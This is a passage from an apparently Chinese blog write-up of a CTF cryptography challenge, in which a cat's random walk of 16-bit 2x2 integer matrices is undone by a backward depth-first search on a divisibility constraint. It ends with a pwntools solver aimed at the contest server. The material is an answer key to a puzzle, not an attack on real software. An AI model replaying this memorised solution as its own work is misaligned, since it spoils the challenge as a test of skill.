class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> part</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-indexed-name z-python"> mind</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">:</span><span class="z-meta z-item-access z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> part</span><span class="z-keyword z-operator z-logical z-python"> not in</span><span class="z-source"> cat</span><span class="z-punctuation">.</span><span class="z-source">mind</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;❌ Lost in the labyrinth of thoughts.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> exit</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> human_pos</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> walking</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">human_pos</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">],</span><span class="z-meta z-indexed-name z-python"> human_pos</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">],</span><span class="z-meta z-function-call z-arguments z-python"> part</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # At last, if destiny aligns...</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> human_pos</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> cat</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">position</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;🎉 Reunion! You have found your feline friend! 🐾&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;😿 The path eludes you... Your heart aches.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> exit</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> Exception</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;🙀 A puzzle too tangled for tonight. Rest well.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> exit</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Triumph at last: the final cat yields the secret prize.</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;🏆 Victory! The treasure lies within: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-support z-function z-builtin z-python">open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;flag.txt&#39;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">read</span><span class="z-punctuation">()</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span></code></pre> <blockquote> <p>赛后看官方 WriteUp，发现是一道<a rel="external" href="https://eprint.iacr.org/2023/1745.pdf">论文</a>题</p> </blockquote> <!-- This is a classic "meet-in-the-middle" or search problem disguised as a random walk. However, the search space is far too large for a brute-force attack. The key lies in reversing the process and exploiting a mathematical property of the transformations. ### Analysis of the Challenge The core of the challenge is the `walking` function, which applies a linear transformation (a 2x2 matrix multiplication) to the cat's coordinates `(x, y)`. Each of the 125 unique 8-byte `part`s from the cat's `mind` corresponds to a unique transformation matrix. The `moving` function applies 30 of these transformations sequentially. The parts are chosen without replacement. A crucial observation is the condition for breaking the loop: `if self.x > limit or self.y > limit`. 1. **Initial State**: The cat starts with coordinates `x` and `y`, which are random 256-bit integers (`~2^256`). 2. **Transformation**: The matrix elements (`epart`) are 16-bit integers. 3. **Coordinate Growth**: At each step, the bit length of the coordinates increases by approximately 17 bits. Starting from \~256 bits, after 30 steps, the coordinates will have a bit length of roughly `256 + 30 * 17 = 766` bits. 4. **The `limit`**: The `limit` is a 1024-bit integer. 5. **Conclusion**: Since the coordinates grow to about 766 bits, they will **never exceed the 1024-bit `limit`**. This means the `break` statement is never triggered, and the loop always runs for exactly **30 steps**. The final position is calculated without any modulo operations. Our task is to find the exact sequence of 30 transformations that maps the initial position `(x_0, y_0)` to the final position `(x_f, y_f)`. ### The Reversal Strategy Let the sequence of transformation matrices be $M_1, M_2, \ldots, M_{30}$. The final position vector $v_f$ is given by: $$v_f = M_{30} \cdot M_{29} \cdots M_1 \cdot v_0$$ Since matrix multiplication is associative, we can work backward one step at a time: $$v_{29} = M_{30}^{-1} \cdot v_f$$ The inverse of a 2x2 matrix $M = \begin{pmatrix} a & b \\ c & d \end{pmatrix}$ is $M^{-1} = \frac{1}{\det(M)} \begin{pmatrix} d & -b \\ -c & a \end{pmatrix}$. For the coordinates of $v_{29}$ to be integers (as they are at every step of the cat's journey), the vector $\begin{pmatrix} d & -b \\ -c & a \end{pmatrix} \cdot v_f$ must be component-wise divisible by $\\det(M_{30})$. This divisibility requirement is a very strong constraint. For any given matrix, the probability that this condition holds is extremely low. Therefore, at each step of our backward search, we can almost uniquely identify which matrix was applied. The strategy is to perform a depth-first search (DFS) backward from the final position `(x_f, y_f)`. 1. Start at `(x_f, y_f)`. 2. Iterate through all 125 possible parts. 3. For each part, form its matrix `M` and calculate its determinant `det(M)`. 4. Check if `M` could have been the last matrix applied (`M_30`) by testing the divisibility constraint. 5. If the constraint holds, calculate the previous position `v_29` and recursively search from there with the remaining 124 parts. 6. Continue this process for 30 steps until we reach the initial position `(x_0, y_0)`. This will efficiently reveal the unique sequence of 30 parts in reverse order. ### The Solution Script Here is a Python script using `pwntools` to automate the process for all 20 rounds. --> <h2 id="ti-mu-he-xin">题目核心</h2> <ul> <li>状态：$(x,y)$ 为两个大整数。</li> <li>步骤：从 8‑字节的 <code>part</code> 读取 4 个 16‑位整数</li> </ul> <p>$$ M=\begin{pmatrix} a &amp; b\ c &amp; d \end{pmatrix}, \qquad \begin{pmatrix}x’\y’\end{pmatrix}=M\begin{pmatrix}x\y\end{pmatrix}, $$</p> <p>其中 <code>part</code> 为 <code>mind</code> 中的一个不重复的块。</p> <ul> <li>初始坐标 $(x_0,y_0)$ 随机于 $[0,2^{256})$。</li> <li><code>mind</code> 长 1000 字节，划分成 125 个互不相同的 8‑字节块 <code>step</code>，随后在 <code>moving</code> 中不放回地取 30 次。</li> </ul> <hr /> <p>每次乘以一个 2×2 整数矩阵，行列式的绝对值大约在 $2^{16}$ 量级，导致坐标的位数每一步增加约 16–17 位。</p> <p>$$ \operatorname{bitlen}(x_{i})\approx 256+16\cdot i. $$</p> <p>当 $i=30$ 时，位长约 $256+30\cdot 17\approx 766$ 位。 给出的 <code>limit</code> 是 1024‑位的整数，远大于此值，因此在 30 步内不可能出现 <code>x&gt;limit</code> 或 <code>y&gt;limit</code>，循环永远不会在途中 <code>break</code>，必定执行完整的 30 次变换。</p> <hr /> <p>矩阵 $M$ 的逆为</p> <p>$$ M^{-1}=\frac{1}{\det M} \begin{pmatrix} d &amp; -b\ -c &amp; a \end{pmatrix}, \qquad \det M=ad-bc. $$</p> <p>若 $(x_{k},y_{k})$ 为第 $k$ 步后的坐标，则</p> <p>$$ \begin{aligned} x_{k-1} &amp;=\frac{d,x_{k}-b,y_{k}}{\det M},\ y_{k-1} &amp;=-\frac{c,x_{k}+a,y_{k}}{\det M}. \end{aligned} $$</p> <p>为了保持整数，必须满足</p> <p>$$ \begin{cases} d,x_{k} - b,y_{k}\equiv 0\pmod{\det M},\ -a,y_{k} - c,x_{k}\equiv 0\pmod{\det M}. \end{cases} $$</p> <p>对随机的 16‑位矩阵来说，上式的同余条件出现的概率约为 $2^{-16}$ 甚至更低，因而在全部 125 条候选中几乎只能找出 <strong>唯一</strong> 能满足整除的矩阵。换言之，逆向搜索每一步都几乎唯一确定上一轮使用的 <code>part</code>。</p> <h3 id="exploit-2">Exploit</h3> <ol> <li>已知初始向量 $\mathbf{v}<em>0=(x_0,y_0)$ 与最终向量 $\mathbf{v}</em>{30}=(x_{30},y_{30})$。</li> <li>设 $\mathcal{S}$ 为剩余未使用的 125 条 <code>part</code>。</li> <li>对于当前坐标 $\mathbf{v}<em>k$（从 $\mathbf{v}</em>{30}$ 开始），遍历 $\mathcal{S}$ 中的每个 <code>part</code>， <ul> <li>解析成 $(a,b,c,d)$，计算 $\det M$。若 $\det M=0$ 则直接跳过。</li> <li>检验上面的两条同余式，若都能整除，则唯一得到上一状态 $\mathbf{v}_{k-1}$。</li> <li>将该 <code>part</code> 从 $\mathcal{S}$ 中移除，递归继续寻找 $\mathbf{v}_{k-1}$。</li> </ul> </li> <li>当递归深度达到 30 且恰好回到 $\mathbf{v}_0$ 时，已得到完整的逆序 <code>part</code> 列表；把顺序反转即可得到正向的 30 步路径。</li> </ol> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#!/usr/bin/env python3</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> pwn</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> ast</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> get_matrix_from_part</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">part</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;&quot;&quot;Parses an 8-byte part into a tuple of 4 integers (matrix elements).&quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-source"> a</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">from_bytes</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">part</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;big&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> b</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">from_bytes</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">part</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">4</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;big&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">from_bytes</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">part</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">4</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">6</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;big&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> d</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">from_bytes</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">part</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">6</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;big&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation"> (</span><span class="z-source">a</span><span class="z-punctuation">,</span><span class="z-source"> b</span><span class="z-punctuation">,</span><span class="z-source"> c</span><span class="z-punctuation">,</span><span class="z-source"> d</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> solve_round</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">initial_pos</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> final_pos</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> all_parts</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string"> Solves a single round using an iterative Depth-First Search (DFS)</span></span> <span class="giallo-l"><span class="z-string"> based on the divisibility constraint.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Stack for DFS: (current_target_pos, available_parts_set, path_in_reverse)</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [(</span><span class="z-source">final_pos</span><span class="z-punctuation">,</span><span class="z-support z-type z-python"> frozenset</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">all_parts</span><span class="z-punctuation">), [])]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> stack</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> current_pos</span><span class="z-punctuation">,</span><span class="z-source"> available</span><span class="z-punctuation">,</span><span class="z-source"> path_rev</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">path_rev</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 30</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> current_pos</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> initial_pos</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Found the correct path of 30 steps!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The path was built in reverse, so we flip it.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string">&quot;&quot;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">path_rev</span><span class="z-punctuation">[::</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> continue</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tx</span><span class="z-punctuation">,</span><span class="z-source"> ty</span><span class="z-keyword z-operator"> =</span><span class="z-source"> current_pos</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> part</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> available</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> a</span><span class="z-punctuation">,</span><span class="z-source"> b</span><span class="z-punctuation">,</span><span class="z-source"> c</span><span class="z-punctuation">,</span><span class="z-source"> d</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> get_matrix_from_part</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">part</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> det</span><span class="z-keyword z-operator"> =</span><span class="z-source"> a</span><span class="z-keyword z-operator"> *</span><span class="z-source"> d</span><span class="z-keyword z-operator"> -</span><span class="z-source"> b</span><span class="z-keyword z-operator"> *</span><span class="z-source"> c</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> det</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> continue</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Calculate the numerators for the inverse transformation</span></span> <span class="giallo-l"><span class="z-source"> prev_x_num</span><span class="z-keyword z-operator"> =</span><span class="z-source"> d</span><span class="z-keyword z-operator"> *</span><span class="z-source"> tx</span><span class="z-keyword z-operator"> -</span><span class="z-source"> b</span><span class="z-keyword z-operator"> *</span><span class="z-source"> ty</span></span> <span class="giallo-l"><span class="z-source"> prev_y_num</span><span class="z-keyword z-operator"> = -</span><span class="z-source">c</span><span class="z-keyword z-operator"> *</span><span class="z-source"> tx</span><span class="z-keyword z-operator"> +</span><span class="z-source"> a</span><span class="z-keyword z-operator"> *</span><span class="z-source"> ty</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The key insight: intermediate coordinates must be integers.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> prev_x_num</span><span class="z-keyword z-operator"> %</span><span class="z-source"> det</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-source"> prev_y_num</span><span class="z-keyword z-operator"> %</span><span class="z-source"> det</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> prev_pos</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-source">prev_x_num</span><span class="z-keyword z-operator"> //</span><span class="z-source"> det</span><span class="z-punctuation">,</span><span class="z-source"> prev_y_num</span><span class="z-keyword z-operator"> //</span><span class="z-source"> det</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">((</span><span class="z-meta z-function-call z-arguments z-python">prev_pos</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> available</span><span class="z-keyword z-operator"> -</span><span class="z-punctuation"> {</span><span class="z-meta z-function-call z-arguments z-python">part</span><span class="z-punctuation">},</span><span class="z-meta z-function-call z-arguments z-python"> path_rev</span><span class="z-keyword z-operator"> +</span><span class="z-punctuation"> [</span><span class="z-meta z-function-call z-arguments z-python">part</span><span class="z-punctuation">]))</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation z-definition z-comment z-comment"> # Should not be reached</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> remote</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;catch.chal.idek.team&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> round_num</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">20</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;begins!</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Parse initial position</span></span> <span class="giallo-l"><span class="z-source"> line_co_location</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> x0</span><span class="z-punctuation">,</span><span class="z-source"> y0</span><span class="z-keyword z-operator"> =</span><span class="z-source"> ast</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">literal_eval</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">line_co_location</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;: &quot;</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Parse the cat&#39;s mind</span></span> <span class="giallo-l"><span class="z-source"> line_mind</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> mind_hex</span><span class="z-keyword z-operator"> =</span><span class="z-source"> line_mind</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;: &quot;</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> mind_bytes</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> bytes</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">fromhex</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">mind_hex</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> all_parts</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-meta z-indexed-name z-python">mind_bytes</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">:</span><span class="z-meta z-item-access z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">]</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 1000</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 8</span><span class="z-punctuation">)]</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;The chase is on!</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Parse final position</span></span> <span class="giallo-l"><span class="z-source"> line_final_pos</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> xf</span><span class="z-punctuation">,</span><span class="z-source"> yf</span><span class="z-keyword z-operator"> =</span><span class="z-source"> ast</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">literal_eval</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">line_final_pos</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;: &quot;</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;--- Starting Hunt </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">round_num</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">/20 ---&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Solve the round</span></span> <span class="giallo-l"><span class="z-source"> solution_path_bytes</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> solve_round</span><span class="z-punctuation">((</span><span class="z-meta z-function-call z-arguments z-python">x0</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y0</span><span class="z-punctuation">), (</span><span class="z-meta z-function-call z-arguments z-python">xf</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> yf</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-arguments z-python"> all_parts</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> solution_path_bytes</span><span class="z-keyword z-operator z-logical z-python"> is</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">error</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Solver failed. Something is wrong with the assumptions.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> solution_hex</span><span class="z-keyword z-operator"> =</span><span class="z-source"> solution_path_bytes</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">hex</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;Path to recall (hex): &quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> solution_hex</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> response</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&quot;Reunion!&quot;</span><span class="z-keyword z-operator z-logical z-python"> not in</span><span class="z-source"> response</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">error</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Submitted the wrong path.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">response</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> flag</span><span class="z-keyword 